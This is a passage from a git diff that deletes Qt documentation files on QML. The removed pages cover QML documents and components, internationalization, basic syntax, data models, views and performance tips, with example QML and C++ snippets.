Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativedocuments.html -\title QML Documents -\brief A description of QML documents and the kind of content they contain. - -A QML document is a block of QML source code. QML documents generally correspond to files -stored on a disk or at a location on a network, but they can also be constructed directly -from text data. - -Here is a simple QML document: - -\snippet doc/src/snippets/declarative/qml-documents/non-trivial.qml document - -QML documents are always encoded in UTF-8 format. - -A QML document always begins with one or more import statements. To prevent elements -introduced in later versions from affecting existing QML programs, the element types -available within a document are controlled by the imported QML \l {Modules}. That is, -QML is a \e versioned language. - -Syntactically a QML document is self contained; QML does \e not have a preprocessor that -modifies the document prior to presentation to the QML runtime. \c import statements -do not "include" code in the document, but instead instruct the QML runtime on how to -resolve type references found in the document. Any type reference present in a QML -document - such as \c Rectangle and \c ListView - including those made within an -\l {Inline JavaScript}{JavaScript block} or \l {Property Binding}s, are \e resolved based exclusively on the -import statements. QML does not import any modules by default, so at least one \c import -statement must be present or no elements will be available! - -Each \c id value in a QML document must be unique within that document. They -do not need to be unique across different documents as id values are -resolved according to the document scope. - - -\section1 Documents as Component Definitions - -A QML document defines a single, top-level \l {QDeclarativeComponent}{QML component}. A QML component -is a template that is interpreted by the QML runtime to create an object with some predefined -behaviour. As it is a template, a single QML component can be "run" multiple times to -produce several objects, each of which are said to be \e instances of the component. - -Once created, instances are not dependent on the component that created them, so they can -operate on independent data. Here is an example of a simple "Button" component (defined -in a \c Button.qml file) that is instantiated four times by \c application.qml. -Each instance is created with a different value for its \c text property: - -\table -\row -\li Button.qml -\li application.qml - -\row -\li \snippet doc/src/snippets/declarative/qml-documents/qmldocuments.qml document -\li -\qml -import QtQuick 1.0 - -Column { - spacing: 10 - - Button { text: "Apple" } - Button { text: "Orange" } - Button { text: "Pear" } - Button { text: "Grape" } -} -\endqml - -\image anatomy-component.png - -\endtable - -Any snippet of QML code can become a component, just by placing it in the file "<Name>.qml" -where <Name> is the new element name, and begins with an \b uppercase letter. Note that -the case of all characters in the <Name> are significant on some filesystems, notably -UNIX filesystems. It is recommended that the case of the filename matches the case of -the component name in QML exactly, regardless of the platform the QML will be deployed to. - -These QML component files automatically become available as new QML element types -to other QML components and applications in the same directory. - - - -\section1 Inline Components - -In addition to the top-level component that all QML documents define, and any reusable -components placed in separate files, documents may also -include \e inline components. Inline components are declared using the -\l Component element, as can be seen in the first example above. Inline components share -all the characteristics of regular top-level components and use the same \c import list as their -containing QML document. Components are one of the most basic building blocks in QML, and are -frequently used as "factories" by other elements. For example, the \l ListView element uses the -\c delegate component as the template for instantiating list items - each list item is just a -new instance of the component with the item specific data set appropriately. - -Like other \l {QML Elements}, the \l Component element is an object and must be assigned to a -property. \l Component objects may also have an object id. In the first example on this page, -the inline component is added to the \l Rectangle's \c resources list, and then -\l {Property Binding} is used to assign the \l Component to the \l ListView's \c delegate -property. While using property binding allows the \l Component object to be shared (for example, -if the QML document contained multiple \l ListView's with the same delegate), in this case the -\l Component could have been assigned directly to the \l ListView's \c delegate. The QML -language even contains a syntactic optimization when assigning directly to a component property -for this case where it will automatically insert the \l Component tag. - -These final two examples are behaviorally identical to the original document. - -\table -\row -\li -\snippet doc/src/snippets/declarative/qml-documents/inline-component.qml document -\li -\snippet doc/src/snippets/declarative/qml-documents/inline-text-component.qml document -\endtable - -\sa QDeclarativeComponent -*/ diff --git a/doc/src/declarative/qdeclarativei18n.qdoc b/doc/src/declarative/qdeclarativei18n.qdoc deleted file mode 100644 index 81beb42c..00000000 --- a/doc/src/declarative/qdeclarativei18n.qdoc +++ /dev/null @@ -1,87 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativei18n.html -\ingroup qml-features -\contentspage QML Features -\previouspage {Network Transparency}{Loading Resources in QML} -\nextpage {QML Features} -\title QML Internationalization - - -Strings in QML can be marked for translation using the qsTr(), qsTranslate(), -QT_TR_NOOP(), and QT_TRANSLATE_NOOP() functions. - -For example: -\qml -Text { text: qsTr("Pictures") } -\endqml - -These functions are standard QtScript functions; for more details see -QScriptEngine::installTranslatorFunctions(). - -QML relies on the core internationalization capabilities provided by Qt. These -capabilities are described more fully in: -\list -\li \l {Internationalization with Qt} -\li \l {Qt Linguist Manual} -\endlist - -You can test a translation with the \l {QML Viewer} using the -translation option. - -\section1 Example - -First we create a simple QML file with text to be translated. The string -that needs to be translated is enclosed in a call to \c qsTr(). - -hello.qml: -\qml -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - Text { text: qsTr("Hello"); anchors.centerIn: parent } -} -\endqml - -Next we create a translation source file using lupdate: -\code -lupdate hello.qml -ts hello.ts -\endcode - -Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide -a translation and create the release file \c hello.qm. - -Finally, we can test the translation: -\code -qmlviewer -translation hello.qm hello.qml -\endcode - - -You can see a complete example and source code in the \l{declarative/i18n}{QML Internationalization example}. -*/ diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc deleted file mode 100644 index 97f88af8..00000000 --- a/doc/src/declarative/qdeclarativeintro.qdoc +++ /dev/null @@ -1,396 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeintroduction.html -\title Introduction to the QML Language - -\tableofcontents - -QML is a declarative language designed to describe the user interface of a -program: both what it looks like, and how it behaves. In QML, a user -interface is specified as a tree of objects with properties. - -This introduction is meant for those with little or no programming -experience. JavaScript is used as a scripting language in QML, so you may want -to learn a bit more about it (see the \l{Javascript Guide}) before diving -deeper into QML. It's also helpful to have a basic understanding of other web -technologies like HTML and CSS, but it's not required. - -\section1 Basic QML Syntax - -QML looks like this: - -\qml -import QtQuick 1.0 - -Rectangle { - width: 200 - height: 200 - color: "blue" - - Image { - source: "pics/logo.png" - anchors.centerIn: parent - } -} -\endqml - -Here we create two objects, a \l Rectangle object and its child -\l Image object. Objects are specified by their type, followed by a pair of -braces in between which additional data can be defined for the object, such as -its property values and any child objects. - -Properties are specified with a \c {property: value} syntax. In the above example, we -can see the \l Image object has a property named \c source, which has been assigned the -value \c "pics/logo.png". The property and its value are separated by a colon. - -Properties can be specified one-per-line: - -\qml -Rectangle { - width: 100 - height: 100 -} -\endqml - -or you can put multiple properties on a single line: - -\qml -Rectangle { width: 100; height: 100 } -\endqml - -When multiple property/value pairs are specified on a single line, they -must be separated by a semicolon. - -The \c import statement imports the \c QtQuick \l{QML Modules}{module}, which contains all of the -standard \l {QML Elements}. Without this import statement, the \l Rectangle -and \l Image elements would not be available. - - -\section1 Comments - -Commenting in QML is similar to JavaScript. -\list -\li Single line comments start with // and finish at the end of the line. -\li Multiline comments start with /* and finish with *\/ -\endlist - -\snippet doc/src/snippets/declarative/comments.qml 0 - -Comments are ignored by the engine. They are useful for explaining what you -are doing; for referring back to at a later date, or for others reading -your QML files. - -Comments can also be used to prevent the execution of code, which is -sometimes useful for tracking down problems. - -\qml -Text { - text: "Hello world!" - //opacity: 0.5 -} -\endqml - -In the above example, the \l Text object will have normal opacity, since the -line opacity: 0.5 has been turned into a comment. - - - -\section1 Object Identifiers - -Each object can be given a special \e id value that allows the object to be identified -and referred to by other objects. - -For example, below we have two \l Text objects. The first \l Text object -has an \c id value of "text1". The second \l Text object can now set its own -\c text property value to be the same as that of the first object, by referring to -\c text1.text: - -\qml -import QtQuick 1.0 - -Row { - Text { - id: text1 - text: "Hello World" - } - - Text { text: text1.text } -} -\endqml - -An object can be referred to by its \c id from anywhere within the \l {QML Documents}{component} -in which it is declared. Therefore, an \c id value must always be unique within a single component. - -The \c id value is a special value for a QML object and should not be thought of as an -ordinary object property; for example, it is not possible to access \c text1.id in the -above example. Once an object is created, its \c id cannot be changed. - -Note that an \c id must begin with a lower-case letter or an underscore, and cannot contain -characters other than letters, numbers and underscores. - - - -\section1 Expressions - -JavaScript expressions can be used to assign property values. For example: - -\qml -Item { - width: 100 * 3 - height: 50 + 22 -} -\endqml - -These expressions can include references to other objects and properties, in which case -a \l{Property Binding}{binding} is established: when the value of the expression changes, -the property to which the expression is assigned is automatically updated to the -new value. For example: - -\qml -Item { - width: 300 - height: 300 - - Rectangle { - width: parent.width - 50 - height: 100 - color: "yellow" - } -} -\endqml - -Here, the \l Rectangle object's \c width property is set relative to the width -of its parent. Whenever the parent's width changes, the width of the \l Rectangle is -automatically updated. - - - -\section1 Properties -\target intro-properties - -\section2 Basic Property Types - -QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int, -\c real, \c bool, \c string and \c color. - -\qml -Item { - x: 10.5 // a 'real' property - state: "details" // a 'string' property - focus: true // a 'bool' property - // ... -} -\endqml - -QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that -matches the property type. For example, the \c x property of item is a real, and if you try to assign -a string to it you will get an error. - -\badcode -Item { - x: "hello" // illegal! -} -\endcode - -Note that with the exception of \l {Attached Properties}, properties always begin with a lowercase -letter. - - -\section2 Property Change Notifications - -When a property changes value, it can send a signal to notify others of this change. - -To receive these signals, simply create a \e {signal handler} named with an \c on<Property>Changed -syntax. For example, the \l Rectangle element has \l {Item::}{width} and \l {Rectangle::}{color} -properties. Below, we have a \l Rectangle object that has defined two signal handlers, -\c onWidthChanged and \c onColorChanged, which will automaticallly be called whenever these -properties are modified: - -\qml -Rectangle { - width: 100; height: 100 - - onWidthChanged: console.log("Width has changed to:", width) - onColorChanged: console.log("Color has changed to:", color) -} -\endqml - -Signal handlers are explained further \l {Signal Handlers}{below}. - - -\section2 List properties - -List properties look like this: - -\qml -Item { - children: [ - Image {}, - Text {} - ] -} -\endqml - -The list is enclosed in square brackets, with a comma separating the -list elements. In cases where you are only assigning a single item to a -list, you can omit the square brackets: - -\qml -Image { - children: Rectangle {} -} -\endqml - -Items in the list can be accessed by index. See the \l{list}{list type} documentation -for more details about list properties and their available operations. - - -\section2 Default Properties - -Each object type can specify one of its list or object properties as its default property. -If a property has been declared as the default property, the property tag can be omitted. - -For example this code: -\qml -State { - changes: [ - PropertyChanges {}, - PropertyChanges {} - ] -} -\endqml - -can be simplified to: - -\qml -State { - PropertyChanges {} - PropertyChanges {} -} -\endqml - -because \c changes is the default property of the \c State type. - -\section2 Grouped Properties -\target dot properties - -In some cases properties form a logical group and use a 'dot' or grouped notation -to show this. - -Grouped properties can be written like this: -\qml -Text { - font.pixelSize: 12 - font.bold: true -} -\endqml - -or like this: -\qml -Text { - font { pixelSize: 12; bold: true } -} -\endqml - -In the element documentation grouped properties are shown using the 'dot' notation. - -\section2 Attached Properties -\target attached-properties - -Some objects attach properties to another object. Attached Properties -are of the form \e {Type.property} where \e Type is the type of the -element that attaches \e property. - -For example, the \l ListView element attaches the \e ListView.isCurrentItem property -to each delegate it creates: - -\qml -Component { - id: myDelegate - Text { - text: "Hello" - color: ListView.isCurrentItem ? "red" : "blue" - } -} -\endqml - -\qml -ListView { - delegate: myDelegate -} -\endqml - -Another example of attached properties is the \l Keys element which -attaches properties for handling key presses to -any visual Item, for example: - -\qml -Item { - focus: true - Keys.onSelectPressed: console.log("Selected") -} -\endqml - -\section1 Signal Handlers - -Signal handlers allow JavaScript code to be executed in response to an event. For -example, the \l MouseArea element has an \l {MouseArea::}{onClicked} handler that can -be used to respond to a mouse click. Below, we use this handler to print a -message whenever the mouse is clicked: - -\qml -Item { - width: 100; height: 100 - - MouseArea { - anchors.fill: parent - onClicked: { - console.log("mouse button clicked") - } - } -} -\endqml - -All signal handlers begin with \e "on". - -Some signal handlers include an optional parameter. For example -the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter -that contains information about the mouse press. This parameter can be referred to in -the JavaScript code, as below: - -\qml -MouseArea { - acceptedButtons: Qt.LeftButton | Qt.RightButton - onPressed: { - if (mouse.button == Qt.RightButton) - console.log("Right mouse button pressed") - } -} -\endqml -*/ diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc deleted file mode 100644 index 206bbcdb..00000000 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ /dev/null @@ -1,505 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativemodels.html -\ingroup qml-features -\contentspage QML Features -\previouspage {QML Animation and Transitions}{Animation and Transitions} -\nextpage {Presenting Data with Views} -\target qmlmodels -\title QML Data Models - -QML items such as ListView, GridView and \l Repeater require Data Models -that provide the data to be displayed. -These items typically require a \e delegate component that -creates an instance for each item in the model. Models may be static, or -have items modified, inserted, removed or moved dynamically. - -Data is provided to the delegate via named data roles which the -delegate may bind to. Here is a ListModel with two roles, \e type and \e age, -and a ListView with a delegate that binds to these roles to display their -values: - -\snippet doc/src/snippets/declarative/qml-data-models/listmodel-listview.qml document - -If there is a naming clash between the model's properties and the delegate's -properties, the roles can be accessed with the qualified \e model name instead. -For example, if a \l Text element had \e type or \e age properties, the text in the -above example would display those property values instead of the \e type and \e age values -from the model item. In this case, the properties could have been referenced as -\c model.type and \c model.age instead to ensure the delegate displays the -property values from the model item. - -A special \e index role containing the index of the item in the model -is also available to the delegate. Note this index is set to -1 if the item is removed from -the model. If you bind to the index role, be sure that the logic -accounts for the possibility of index being -1, i.e. that the item -is no longer valid. (Usually the item will shortly be destroyed, but -it is possible to delay delegate destruction in some views via a \c delayRemove -attached property.) - -Models that do not have named roles (such as the QStringList model shown below) -will have the data provided via the \e modelData role. The \e modelData role is also provided for -models that have only one role. In this case the \e modelData role -contains the same data as the named role. - -QML provides several types of data models among the built-in set of -QML elements. In addition, models can be created with C++ and then -made available to QML components. - -The views used to access data models are described in the -\l{Presenting Data with Views} overview. -The use of positioner items to arrange items from a model is covered in -\l{Using QML Positioner and Repeater Items}. - - -\keyword qml-data-models -\section1 QML Data Models - -\section2 ListModel - -ListModel is a simple hierarchy of elements specified in QML. The -available roles are specified by the \l ListElement properties. - -\snippet doc/src/snippets/declarative/qml-data-models/listelements.qml model - -The above model has two roles, \e name and \e cost. These can be bound -to by a ListView delegate, for example: - -\snippet doc/src/snippets/declarative/qml-data-models/listelements.qml view - -ListModel provides methods to manipulate the ListModel directly via JavaScript. -In this case, the first item inserted determines the roles available -to any views that are using the model. For example, if an empty ListModel is -created and populated via JavaScript, the roles provided by the first -insertion are the only roles that will be shown in the view: - -\snippet doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml model -\dots -\snippet doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml mouse area - -When the MouseArea is clicked, \c fruitModel will have two roles, \e cost and \e name. -Even if subsequent roles are added, only the first two will be handled by views -using the model. To reset the roles available in the model, call ListModel::clear(). - - -\section2 XmlListModel - -XmlListModel allows construction of a model from an XML data source. The roles -are specified via the \l XmlRole element. - -The following model has three roles, \e title, \e link and \e description: -\qml -XmlListModel { - id: feedModel - source: "http://rss.news.yahoo.com/rss/oceania" - query: "/rss/channel/item" - XmlRole { name: "title"; query: "title/string()" } - XmlRole { name: "link"; query: "link/string()" } - XmlRole { name: "description"; query: "description/string()" } -} -\endqml - -The \l{demos/declarative/rssnews}{RSS News demo} shows how XmlListModel can -be used to display an RSS feed. - - -\section2 VisualItemModel - -VisualItemModel allows QML items to be provided as a model. - -This model contains both the data and delegate; the child items of a -VisualItemModel provide the contents of the delegate. The model -does not provide any roles. - -\snippet doc/src/snippets/declarative/models/visual-model-and-view.qml visual model and view - -Note that in the above example there is no delegate required. -The items of the model itself provide the visual elements that -will be positioned by the view. - -\keyword qml-c++-models -\section1 C++ Data Models - -Models can be defined in C++ and then made available to QML. This is useful -for exposing existing C++ data models or otherwise complex datasets to QML. - -A C++ model class can be defined as a QStringList, a QList<QObject*> or a -QAbstractItemModel. The first two are useful for exposing simpler datasets, -while QAbstractItemModel provides a more flexible solution for more complex -models. - - -\section2 QStringList-based model - -A model may be a simple QStringList, which provides the contents of the list via the \e modelData role. - -Here is a ListView with a delegate that references its model item's -value using the \c modelData role: - -\snippet examples/declarative/modelviews/stringlistmodel/view.qml 0 - -A Qt application can load this QML document and set the value of \c myModel -to a QStringList: - -\snippet examples/declarative/modelviews/stringlistmodel/main.cpp 0 - -The complete example is available in Qt's \l {declarative/modelviews/stringlistmodel}{examples/declarative/modelviews/stringlistmodel} directory. - -\note There is no way for the view to know that the contents of a QStringList -have changed. If the QStringList changes, it will be necessary to reset -the model by calling QDeclarativeContext::setContextProperty() again. - - -\section2 QObjectList-based model - -A list of QObject* values can also be used as a model. A QList<QObject*> provides -the properties of the objects in the list as roles. - -The following application creates a \c DataObject class that with -Q_PROPERTY values that will be accessible as named roles when a -QList<DataObject*> is exposed to QML: - -\snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 0 -\dots 4 -\snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 1 -\codeline -\snippet examples/declarative/modelviews/objectlistmodel/main.cpp 0 -\dots - -The QObject* is available as the \c modelData property. As a convenience, -the properties of the object are also made available directly in the -delegate's context. Here, \c view.qml references the \c DataModel properties in -the ListView delegate: - -\snippet examples/declarative/modelviews/objectlistmodel/view.qml 0 - -Note the use of the fully qualified access to the \c color property. -The properties of the object are not replicated in the \c model -object, since they are easily available via the \c modelData -object. - -The complete example is available in Qt's \l {declarative/modelviews/objectlistmodel}{examples/declarative/modelviews/objectlistmodel} directory. - -Note: There is no way for the view to know that the contents of a QList -have changed. If the QList changes, it will be necessary to reset -the model by calling QDeclarativeContext::setContextProperty() again. - - -\section2 QAbstractItemModel - -A model can be defined by subclassing QAbstractItemModel. This is the -best approach if you have a more complex model that cannot be supported -by the other approaches. A QAbstractItemModel can also automatically -notify a QML view when the model data has changed. - -The roles of a QAbstractItemModel subclass can be exposed to QML by calling -QAbstractItemModel::setRoleNames(). The default role names set by Qt are: - -\table -\header -\li Qt Role -\li QML Role Name -\row -\li Qt::DisplayRole -\li display -\row -\li Qt::DecorationRole -\li decoration -\endtable - -Here is an application with a QAbstractListModel subclass named \c AnimalModel -that has \e type and \e size roles. It calls QAbstractItemModel::setRoleNames() to set the -role names for accessing the properties via QML: - -\snippet examples/declarative/modelviews/abstractitemmodel/model.h 0 -\dots -\snippet examples/declarative/modelviews/abstractitemmodel/model.h 1 -\dots -\snippet examples/declarative/modelviews/abstractitemmodel/model.h 2 -\codeline -\snippet examples/declarative/modelviews/abstractitemmodel/model.cpp 0 -\codeline -\snippet examples/declarative/modelviews/abstractitemmodel/main.cpp 0 -\dots - -This model is displayed by a ListView delegate that accesses the \e type and \e size -roles: - -\snippet examples/declarative/modelviews/abstractitemmodel/view.qml 0 - -QML views are automatically updated when the model changes. Remember the model -must follow the standard rules for model changes and notify the view when -the model has changed by using QAbstractItemModel::dataChanged(), -QAbstractItemModel::beginInsertRows(), etc. See the \l {Model subclassing reference} for -more information. - -The complete example is available in Qt's \l {declarative/modelviews/abstractitemmodel}{examples/declarative/modelviews/abstractitemmodel} directory. - -QAbstractItemModel presents a hierarchy of tables, but the views currently provided by QML -can only display list data. -In order to display child lists of a hierarchical model -the VisualDataModel element provides several properties and functions for use -with models of type QAbstractItemModel: - -\list -\li \e hasModelChildren role property to determine whether a node has child nodes. -\li \l VisualDataModel::rootIndex allows the root node to be specifed -\li \l VisualDataModel::modelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex -\li \l VisualDataModel::parentModelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex -\endlist - - -\section2 Exposing C++ Data Models to QML - -The above examples use QDeclarativeContext::setContextProperty() to set -model values directly in QML components. An alternative to this is to -register the C++ model class as a QML type from a QML C++ plugin using -QDeclarativeExtensionPlugin. This would allow the model classes to be -created directly as elements within QML: - -\table -\row - -\li -\code -class MyModelPlugin : public QDeclarativeExtensionPlugin -{ -public: - void registerTypes(const char *uri) - { - qmlRegisterType<MyModel>(uri, 1, 0, - "MyModel"); - } -} - -Q_EXPORT_PLUGIN2(mymodelplugin, MyModelPlugin); -\endcode - -\li -\qml -MyModel { - id: myModel - ListElement { someProperty: "some value" } -} -\endqml - -\qml -ListView { - width: 200; height: 250 - model: myModel - delegate: Text { text: someProperty } -} -\endqml - -\endtable - -See \l {Tutorial: Writing QML extensions with C++} for details on writing QML C++ -plugins. - - - -\section1 Other Data Models - - -\section2 An Integer - -An integer can be used to specify a model that contains a certain number -of elements. In this case, the model does not have any data roles. - -The following example creates a ListView with five elements: -\qml -Item { - width: 200; height: 250 - - Component { - id: itemDelegate - Text { text: "I am item number: " + index } - } - - ListView { - anchors.fill: parent - model: 5 - delegate: itemDelegate - } - -} -\endqml - - -\section2 An Object Instance - -An object instance can be used to specify a model with a single object element. The -properties of the object are provided as roles. - -The example below creates a list with one item, showing the color of the -\e myText text. Note the use of the fully qualified \e model.color property -to avoid clashing with \e color property of the Text element in the delegate. - -\qml -Rectangle { - width: 200; height: 250 - - Text { - id: myText - text: "Hello" - color: "#dd44ee" - } - - Component { - id: myDelegate - Text { text: model.color } - } - - ListView { - anchors.fill: parent - anchors.topMargin: 30 - model: myText - delegate: myDelegate - } -} -\endqml - -\section1 Accessing Views and Models from Delegates - -You can access the view for which a delegate is used, and its -properties, by using ListView.view in a delegate on a ListView, or -GridView.view in a delegate on a GridView, etc. In particular, you can -access the model and its properties by using ListView.view.model. - -This is useful when you want to use the same delegate for a number of -views, for example, but you want decorations or other features to be -different for each view, and you would like these different settings to -be properties of each of the views. Similarly, it might be of interest -to access or show some properties of the model. - -In the following example, the delegate shows the property \e{language} -of the model, and the color of one of the fields depends on the -property \e{fruit_color} of the view. - -\snippet doc/src/snippets/declarative/models/views-models-delegates.qml rectangle - -Another important case is when some action (e.g. mouse click) in the -delegate should update data in the model. In this case you can define -a function in the model, e.g.: - -\code - setData(int row, const QString & field_name, QVariant new_value), -\endcode - -...and call it from the delegate using: - -\js - ListView.view.model.setData(index, field, value) -\endjs - -...assuming that \e{field} holds the name of the field which should be -updated, and that \e{value} holds the new value. - -*/ - -/*! -\page qml-presenting-data.html -\title Presenting Data with QML - -\section1 Introduction - -Qt Quick contains a set of standard items that can be used to present data in a -number of different ways. For simple user interfaces, -\l{Using QML Positioner and Repeater Items#Repeaters}{Repeaters} can be used -in combination with -\l{Using QML Positioner and Repeater Items#Positioners}{Positioners} -to obtain pieces of data and arrange them in a user interface. However, when -large quantities of data are involved, it is often better to use models with -the standard views since these contain many built-in display and navigation -features. - -\section1 Views - -Views are scrolling containers for collections of items. They are feature-rich, -supporting many of the use cases found in typical applications, and can be -customized to meet requirements on style and behavior. - -A set of standard views are provided in the basic set of Qt Quick -graphical elements: - -\list -\li \l{#ListView}{ListView} arranges items in a horizontal or vertical list -\li \l{#GridView}{GridView} arranges items in a grid within the available space -\li \l{#PathView}{PathView} arranges items on a path -\endlist - -Unlike these items, \l WebView is not a fully-featured view item, and needs -to be combined with a \l Flickable item to create a view that performs like -a Web browser. - -\section2 ListView - -\l ListView shows a classic list of items with horizontal or vertical placing -of items. - -\beginfloatright -\inlineimage qml-listview-snippet.png -\endfloat - -The following example shows a minimal ListView displaying a sequence of -numbers (using an \l{QML Data Models#An Integer}{integer as a model}). -A simple delegate is used to define an items for each piece of data in the -model. - -\clearfloat -\snippet doc/src/snippets/declarative/listview/listview-snippet.qml document - - - -\section2 GridView - -\l GridView displays items in a grid like an file manager's icon view. - -\section2 PathView - -\l PathView displays items on a path, where the selection remains in -the same place and the items move around it. - -\section1 Decorating Views - -\section2 Headers and Footers - -\section2 Sections - -\section2 Navigation - -In traditional user interfaces, views can be scrolled using standard -controls, such as scroll bars and arrow buttons. In some situations, it -is also possible to drag the view directly by pressing and holding a -mouse button while moving the cursor. In touch-based user interfaces, -this dragging action is often complemented with a flicking action, where -scrolling continues after the user has stopped touching the view. - -\section1 Further Reading -*/ diff --git a/doc/src/declarative/qdeclarativeperformance.qdoc b/doc/src/declarative/qdeclarativeperformance.qdoc deleted file mode 100644 index bd95b974..00000000 --- a/doc/src/declarative/qdeclarativeperformance.qdoc +++ /dev/null @@ -1,150 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeperformance.html -\title QML Performance - -\section1 Opaque Items - -Items hidden behind an opaque item incur a cost. If an item will be enitrely -obscured by an opaque item, set its opacity to 0. One common example of -this is when a "details" page is shown over the main application view. - -\section1 Clipping - -\e clip is set to false by default. Enable clipping only when necessary. - -\section1 Anchors vs. Binding - -It is more efficient to use anchors rather than bindings to position items -relative to each other. Consider this use of bindings to position rect2 -relative to rect1: - -\code -Rectangle { - id: rect1 - x: 20 - width: 200; height: 200 -} -Rectangle { - id: rect2 - x: rect1.x - y: rect1.y + rect1.height - width: rect1.width - 20 - height: 200 -} -\endcode - -This is achieved more efficiently using anchors: - -\code -Rectangle { - id: rect1 - x: 20 - width: 200; height: 200 -} -Rectangle { - id: rect2 - height: 200 - anchors.left: rect1.left - anchors.top: rect1.bottom - anchors.right: rect1.right - anchors.rightMargin: 20 -} -\endcode - -\section1 Images - -Images consume a great deal of memory and may also be costly to load. In order -to deal with large images efficiently it is recommended that the Image::sourceSize -property be set to a size no greater than that necessary to render it. Beware that -changing the sourceSize will cause the image to be reloaded. - -Images on the local filesystem are usually loaded synchronously. This is usually -the desired behavior for user interface elements, however for large images that -do not necessarily need to be visible immediately, set the Image::asynchronous -property to true. This will load the image in a low priority thread. - -\section1 View Delegates - -Delegates must be created quickly as the view is flicked. There are two important -aspects to maintaining a smooth view: - -\list -\li Small delegates - keep the amount of QML to a minimum. Have just enough -QML in the delegate to display the necessary information. Any additional functionality -that is only needed when the delegate is clicked, for example, should be created by -a Loader as needed. -\li Fast data access - ensure the data model is as fast as possible. -\endlist - -\section1 Image resources over composition - -If possible, provide a single image resource, rather than using composition -of a number of elements. For example, a frame with a shadow could be created using -a Rectangle placed over an Image providing the shadow. It is more efficient to -provide an image that includes the frame and the shadow. - -\section1 Limit JavaScript - -Avoid running JavaScript during animation. For example, running a complex -JavaScript expression for each frame of an x property animation. - -\section1 Rendering - -Often using a different graphics system will give superior performance to the native -graphics system (this is especially the case on X11). This can be configured using -QApplication::setGraphicsSystem() or via the command line using the \c -graphicssystem -switch. - -You can enable OpenGL acceleration using the \c opengl graphics system, or by setting a -QGLWidget as the viewport of your QDeclarativeView. - -You may need to try various options to find what works the best for your application. -For embedded X11-based devices one recommended combination is to use the raster graphics -system with a QGLWidget for the viewport. While this doesn't guarantee the \b 